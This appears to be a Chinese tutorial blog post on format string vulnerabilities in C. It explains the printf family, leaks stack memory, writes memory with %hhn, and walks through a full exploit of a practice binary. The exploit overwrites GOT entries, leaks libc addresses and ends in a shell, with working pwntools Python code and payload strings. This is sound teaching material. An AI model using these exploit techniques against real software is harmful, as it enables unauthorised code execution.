二进制-格式化字符串漏洞

前言

格式化字符串漏洞是广泛存在于基于C/C++的可执行文件中的漏洞,是典型的二进制常见漏洞之一,其危害甚至超过了缓冲区溢出;

基础知识

格式化函数是一种特殊的ANSI C函数,它们从格式化字符串中提取参数,并对这些参数进行处理。而格式化字符串将C语言的主要数据类型,以易于阅读的方式保存在字符串里。从程序输出数据、打印错误信息到处理字符串数据,格式化字符串几乎出现在所有的C程序中。

格式化输出函数

printf

  • 功能:向stdout按规定的格式输出信息;
  • 格式:int printf (const char *format,[argument]...)
    • format是格式控制字符串,其他参数为输出项;
    • printf("Id=%d",Id);

sprintf

  • 功能:把格式化的数据写入某个字符串中;
  • 格式:int sprintf(char *buffer,const char *format,[argument]...)
    • buffer是要写入字符串的缓冲区;
    • 函数按照第二部分格式化字符的格式,把第三部分的数据进行格式化,然后在把格式化后的数据类型,存储到字符串的缓存区间里去;
    • sprintf(buffer, "Id=%d", Id);

snprintf

  • 功能:把格式化的数据写入某个字符串中,控制字符串长度;
  • 格式:int snprintf(char *str,size_t size,const char *format,[argument]...)
    • 在sprintf的基础上限制了可写入字符的最大值size;
    • 当格式化后的字符串长度<size,则将字符串全部复制到str中,并在最后添加字符串结束符\0;当格式化后的字符串长度>=size,则将其中的size-1个字符复制到str中,并在最后添加字符串结束符\0
    • sprintf(buffer, 10,"Id=%d", Id);

fprintf

  • 功能:用于格式化输出到一个流/文件中;
  • 格式:int fprintf(FILE *stream,const char *format,[argument]...)
    • 根据指定的格式控制字符串format向输出流stream中写入数据;
    • 当stream为stdout时,fprintf与printf的功能相同;
    • printf(pfile,"Id=%d",Id);

vprintf/vsprintf/vsnprintf/vfprintf

  • 功能分别对应于printf/sprintf/snprintf/fprintf;
  • 将变参列表换成了va_list类型的参数
  • 格式:
    • vprintf (format,va_list);
    • vsprintf (buffer,format,va_list);
    • vsnprintf (buffer,256,format,va_list);
    • vfprintf(stream, format, va_list);

格式化字符串

  • 格式化字符串是由普通字符串和格式化规定字符构成的字符序列:

    • 普通字符被原封不动地复制到输出流中;
    • 格式化规定字符则是以%开始,用来确定输出内容格式;
  • 基本格式

    %[parameter][flags][fieldwidth][.precision][length]type

    • parameter

      • 可以忽略或者是n$,n表示是参数列表的第n个参数,通过这种形式直接访问第n个参数;
    • flags

      • 用于调整输出和打印的符号、空白、小数点、八进制和十六进制前缀等;
    • fieldwidth

      • 限制显示数值的最小宽度,当输出字符个数不足限制的宽度时,默认用空格填充,或者flags中的其他填充方式,超过限制宽度不会截断,正常显示;
    • precision

      • 输出的最大长度;
    • length

      • 指浮点型参数或者整形参数的长度;
        • hh:1-byte;
        • h:2-byte;
        • l:4-byte;
        • ll:8-byte;
    • type

      • 转换说明符,用来说明所应用的转换类型,它是唯一必须的格式域;

        字符 描述
        d/i 有符号十进制整数
        u 无符号十进制整数
        x/X 以十六进制形式输出无符号整数(不输出前缀0x)
        o 以八进制形式输出无符号整数(不输出前缀0)
        s 字符串
        c 字符
        p 指针
        n 不输出字符,把已经成功输出的字符个数写入对应的整型指针参数所指的变量
        f/F 以小数形式输出单、双精度实数
        e/E 以指数形式输出单、双精度实数
        g/G 以%f%e中较短的输出宽度输出单、双精度实数,%e格式在指数小于-4或者大于等于精度时使用
        a/A 浮点数、十六进制数字和p-计数法

漏洞原理

格式化字符串函数是根据格式化字符串函数来进行解析的,那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制;

根据cdecl的调用约定,在进入printf()函数之前,将参数从右到左依次压栈。进入printf()之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是%,字符直接复制到输出中;否则,读取下一个非空字符,获取相应的参数并解析输出。
格式化字符串的参数与后面实际提供的是一一对应的,就不会出现什么问题,但如果在格式化字符串多加几个格式化字符的时候,程序会怎么办呢?此时其可以正常通过编译,并且在栈上取值,按照给的格式化字符来解析对应栈上的值,发生了格式化字符串漏洞

格式化字符串利用方法

泄漏内存地址

通过格式化字符串漏洞能够对栈中的数据进行泄露;

示例:如下程序只提供了format参数,却没有提供其他参数,编译并运行此程序会导致内存数据泄漏;

1
2
3
4
5
/* fs_read */
#include<stdio.h>
int main(){
printf("%08x\n%08x\n%08x\n")
}

分析:

  • printf按照format的要求,输出了3个数值,但这些数值并不是输入的参数,而是保存在栈中的数值,打印出的这三个字符串正是位于format参数之后的数据;

gdb调试分析:

format参数的地址为0x80484c0

栈中format地址后的三个地址的值分别为0xffffd6940xffffd69c0x8048461

覆写内存

覆盖内存通常其实就是改写内存,包括改写栈上的内存和任意地址的内存,从而来控制程序的执行流程;

示例,程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* fs_write */
#include<stdio.h>
#include<string.h>

int flag = 0xbabe;
int flag_addr = 0x804a028;
int main(){
int i,write_byte,already_write;
int value = 0xbeef;

char format[256]={0};
char buf[256]={0};
printf("flag:%#x\n",flag);

strcpy(format,"\x28\xa0\x04\x08");
strcat(format,"\x29\xa0\x04\x08");

already_write=8;
for(i=0;i<2;i++){
if(value>>(8*i)==0)
break;
write_byte = value>>(8*i)&0xff;

sprintf(buf,"%%%dc%%%d$hhn",(write_byte-already_write+0x100)%0x100,11+i);
already_write+=(write_byte-already_write)%0x100;
strcat(format,buf);
}
printf(format);
printf("flag:%#x\n",flag);
}

上述程序演示了利用格式化字符串漏洞修改flag变量的值:flag的初值为0xbabe,利用格式化字符串漏洞,修改为0xbeef;

复写内存的核心功能在printf(format)中实现,具体的思路是:

  • 首先在格式化字符串中放入flag变量的地址;
  • 然后利用$来指定这个地址位于第几个参数;
  • 最终使用%n(即hhn)向这个参数所指向的地址处写入数据;

分析:

  • 首先strcpy()函数利用IDA事先分析后获取的flag变量地址,拷贝给format:

    • 使用IDA事先查看flag的地址为0x804a028,由于要向flag中写入0xbeef,也就是说要向0x804a0280x804a029两个地址中写入内容,因此将这两个地址放入到format中;

    • strcpy(format,"\x28\xa0\x04\x08");

    • strcat(format,"\x29\xa0\x04\x08");

  • 然后确定写在format数组里的两个地址属于printf的第几个参数,通过gdb进行调试,在printf(format)处设置断点进行查看;

    • 下图所示,format的地址为0xffffd3dc,是printf的第11个参数,即(0xffffd3dc-0xffffd3b0)/4=11,由于flag的两个地址写在了format最开始 的位置,因此它们分别是printf的第11和第12个参数;

  • 最后利用%n(即hhn)向flag的两个地址中进行写入;

    • 由于%n是将之前打印的所有字符数写入到某一地址中,所以要计算好打印的字符数,这里构造格式化字符串的格式如下:
      • % width c % num $ hhn % width c % num $ hhn
      • 通过for语句的两轮循环,写入两轮% width c % num $ hhn
      • hhn表示每次写入一个字节到地址中;
    • 分析% width c % num $ hhn
      • width用来计算正确的值以写入到%hhn中;
        • 计算width是通过已写入的字节数和要写入的值进行计算;
          • 例如,为了写入0xef到指定地址,由于在format数组的起始部分已经写入了8字节的flag地址,所以应该再填充0xef-8个字节(ef转成10进制为239再减8为231,即算写入的字符个数);同理,写入0xbe时要减去前面写过的0xef长度,得到需要填充的长度,为了防止这个数负值,加上0x100再取模;
        • num指定写入到第几个参数,在上一步已经确认了是第11和12个;
        • hhn表示每次写入一个字节到地址中;
  • 最终format中的内容为

    \x28\xa0\x04\x08\x29\xa0\x04\x08%231c%11$hhn%207c%12$hhn

    • 通过gdb调试来进行验证,查看format数组地址上的内容,已经覆写;

    • 对应到栈中验证参数的位置,为原参数;

    • 执行printf(format)后,查看flag地址的内容改为了0xbeef

    • 执行程序,flag的值被修改为0xbeef

由此可见,格式化字符串漏洞还能对内存进行覆写,如果程序中用到了类似本例中的printf(format),就极有可能造成格式化字符串漏洞;

漏洞分析

分析

  1. 用IDA对easyfsb程序进行分析,函数逻辑比较简单,在main函数调用了getname函数;

  2. 查看getname()函数,发现print(&buf),存在格式化字符串漏洞;

  3. 由于程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,这两个表是一一对应的,看到带有**@plt**标志的函数时,这个函数其实就是个过渡作用,可以通过PLT表跳转到GOT表来得到函数真正的地址;

利用思路

  1. 将exit函数的GOT表地址覆写为main函数的地址,程序每次退出时将再返回到main函数;
  2. 通过printf格式化字符串漏洞,获取puts函数地址,再通过libc的相对地址偏移获取system的地址;
  3. 用格式化字符串漏洞,将system函数地址覆盖GOT表中printf函数的地址,并在buf 中写入/bin/sh,当执行printf(buf)时,相当于执行system('/bin/sh')

利用过程

  1. 将exit函数的GOT表地址覆写为main函数的地址

    1. 覆写思路分析

      覆写的格式为:% width c % num $ hhn,其中width是将要写入到$hhn参数中的值,它由覆写的值和已经写入的长度决定,具体为:**(已写入的长度-覆写的值 )%0x100**;

      num定了要写入的第num个参数,需要通过调试具体分析一下;

    2. 使用gdb调试,在main和printf处设置断点;

    3. 运行到printf处,可以看到buf的地址为0xffffd54c,是printf中格式化字符串的第7个参数,即:(0xffffd54c-0xffffd530)/4 = 7

    4. num的确定;

      • 因为要把exit的GOT地址覆写为main函数地址,即0x8048648,所以应写入四个字节,即重复四次% width c % num $ hhn
      • 粗略估计width最多占用3个字节,num最多占用2个字节,则每个格式% widthc % num $ hhn占用12个字节,四次重复共48个字节,占用48/4=12个参数;
      • 由于buf是从第7个参数开始,写入的地址从第7+12=19个参数开始,num依次为19、20、21、22;
    5. 确定exit@got的地址;

      1. 查看main函数的汇编指令,第一条指令的地址即为main函数的地址,即0x0848648,最后一条指令为exit函数的plt表的地址:0x8048480

      2. 查看0x8048480处的汇编指令,第一条为跳转指令,直接跳转到0x804a024,此地址即为exit函数got表的地址;

      3. 通过查看0x804a024出的内存数据,可以看到第一条地址0x08048486即为exit函数的真正地址;

    6. 构造格式化字符串:

      确定了num和width,也确定了exit函数的got表地址为0x804a024,所以将要覆盖的exit@got地址0x804a0240x804a0250x804a0260x804a027依次写入到第19、20、21、22个参数中,格式化字符串就构造好了:

      %72c%19$hhn%62c%20$hhn%126c%21$hhn%4c%22$hhnaaaa\x24\xa0\x04\x08\x25\xa0\x04\x08\x26\xa0\x04\ x08\x27\xa0\x04\x08

    7. 编写generate_format(addr, value)函数构造格式化字符串,addr为要覆写的地址,value为覆写的值,函数代码如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      #generate format string
      def generate_format(addr, value):
      payload = ''
      print_count = 0
      addr_part = ''
      for i in range(8):
      if (value >> (8*i)) == 0:
      break
      one_byte = (value >> (8*i)) & 0xff
      payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 19 + i)
      print_count += (one_byte - print_count) % 0x100
      addr_part += p32(addr + i)
      payload = payload.ljust(48, 'a')
      payload += addr_part
      return payload
    8. 调用generate_format(exit_got,main)函数,生成的payload作为输入,执行后可以看到exit的got表的第一个地址被覆盖为main函数的地址,即0x08048648

  2. 获取system函数的地址

    1. 获取思路分析

      由于格式化字符串漏洞能够泄露内存关键数据,可以考虑利用这个漏洞泄露system 的地址,利用格式化字符串漏洞,泄露出GOT表中puts的地址,再利用libc中system函数与puts函数的偏移,计算出system地址;

    2. 先获取puts函数的got表地址,类似于查看exit函数的got表地址,所以puts函数got表的地址为0x804a01c,虽然可以直接查看0x804a01c内容即可得到puts函数的实际地址,这里使用格式化字符串漏洞来获取;

    3. 构造格式化字符串

      1. 构造的格式化字符串格式为:%num$s+puts@got,即把puts@got的地址写入 buf,再通过%s读出;

      2. 其中%num$s占4个字节,是第7个参数;puts@got占4个字节,是第8个参数,num就可以写为8,即将puts@got的地址写入到第8个参数的位置;

      3. 获取了puts的实际地址后,通过libc中两个函数的偏移即可得到system的地址,通过查阅资料可以得到libc的库的位置为/lib/i386-linux-gnu/libc.so.6

      4. 完整代码如下

        1
        2
        3
        4
        5
        6
        7
        8
        9
        #get sys_addr through puts_addr
        p.recvuntil('Welcome~\n')
        payload = '%8$s'+p32(puts_got) #format string to output puts_addr
        p.sendline(payload)
        puts_addr = u32(p.recv(4)) #get puts_addr
        log.info('puts:%#x'%puts_addr)

        libc = ELF("/lib/i386-linux-gnu/libc.so.6") #libc.so location
        sys_addr = puts_addr - (libc.symbols['puts']-libc.symbols['system'])
  3. 覆写got表中printf的地址

    原理与覆写exit函数GOT表相同,调用generate_format(printf@got,system_addr),生成的payload作为输入,代码如下:

    1
    2
    3
    4
    #overwrite printf_got with system addr
    p.recvuntil('Welcome~\n')
    payload = generate_format(printf_got,sys_addr)
    p.sendline(payload)
  4. 执行system('/bin/sh')

    1. 此时GOT表中printf地址已被覆写为system地址,在buf中输入/bin/sh,执行printf(buf)时,相当于执行system('/bin/sh'),最后代码如下:

      1
      2
      3
      4
      #system('/bin/sh')
      p.recvuntil('Welcome~\n')
      p.sendline('/bin/sh')
      p.interactive()
    2. 运行编写的python代码,成功拿到shell权限;

参考

https://xz.aliyun.com/t/7398

备注:实验程序下载